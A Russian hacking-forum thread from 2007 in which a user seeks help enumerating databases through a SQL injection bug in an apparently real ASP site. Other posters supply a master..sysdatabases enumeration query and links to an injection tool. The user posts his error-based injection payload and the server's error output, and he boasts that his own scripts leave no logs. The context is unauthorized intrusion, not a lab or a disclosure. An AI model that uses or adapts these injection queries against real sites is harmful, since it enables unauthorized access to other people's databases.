MSSQL Injection вопрос

Discussion in 'Песочница' started by sh-smoker, 16 Aug 2007.

  1. sh-smoker

    sh-smoker New Member

    Joined:
    13 Jan 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -27
    Каким методом можно получить список существующих баз данных?
     
  2. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    show databases;
     
    _________________________
  3. sh-smoker

    sh-smoker New Member

    Joined:
    13 Jan 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -27
    Это не то. Мне через багу в скрипте надо узнать все существующие базы.

    запрос типа .asp?ID=1'INJECTION
     
  4. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    http://hack-shop.org.ru/board/showthread.php?t=24
     
  5. sh-smoker

    sh-smoker New Member

    Joined:
    13 Jan 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -27
    спасибо, помог :)
    Только что-то select top 2 start at 1 не пашет

    на единицу ругается Incorrect syntax near '1'
     
  6. ShAnKaR

    ShAnKaR Пачка маргарина

    Joined:
    14 Jul 2005
    Messages:
    904
    Likes Received:
    297
    Reputations:
    553
    чтоб все поперебирать можно так select top 1 name from master..sysdatabases where name not in ('master','tempdb','bla bla','и так далее')
     
  7. sh-smoker

    sh-smoker New Member

    Joined:
    13 Jan 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -27
    я знаю, но кавычки ставить нельзя.
     
  8. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Запрос гласит вывести 2 строчки начиная с 1
     
  9. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    можно использывать order by checksum
     
  10. sh-smoker

    sh-smoker New Member

    Joined:
    13 Jan 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -27
    -1+or+1=(select+top+1+start+at+2+name+from+master..sysdatabases)--

    ответ:

    Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

    [Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near '1'.

    /newsstory.asp, line 15


    что означает, это выражение я понял, не могу понять в чем ошибка синтаксиса
     
  11. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    а так пробывали?
     
  12. sh-smoker

    sh-smoker New Member

    Joined:
    13 Jan 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -27
    Теперь на at ругается :)

    Incorrect syntax near 'at'.
     
  13. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Скажу по секрету такая конструкция в принцыпе не должна работать хоть я и не тестил...

    http://hack-shop.org.ru/mssql.php

    Get db
     
  14. sh-smoker

    sh-smoker New Member

    Joined:
    13 Jan 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -27
    Ладно, спасибо ты мне кое в чем всетаки помог и не впервые ;)
    Насчет скрипта http://hack-shop.org.ru/mssql.php, спасиб не нужно, у меня свои есть.
    На моих скриптах логи не ведутся))))))
     
  15. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    sh-smoker
    может тебе есть смысл в аську стучать )
     
  16. sh-smoker

    sh-smoker New Member

    Joined:
    13 Jan 2007
    Messages:
    29
    Likes Received:
    2
    Reputations:
    -27
    Так теперь и буду делать ;)
     
  17. xena-mil1

    xena-mil1 Elder - Старейшина

    Joined:
    17 Oct 2006
    Messages:
    13
    Likes Received:
    21
    Reputations:
    0
    dddddd
     
    #17 xena-mil1, 16 Aug 2007
    Last edited: 29 Aug 2008
    1 person likes this.
Loading...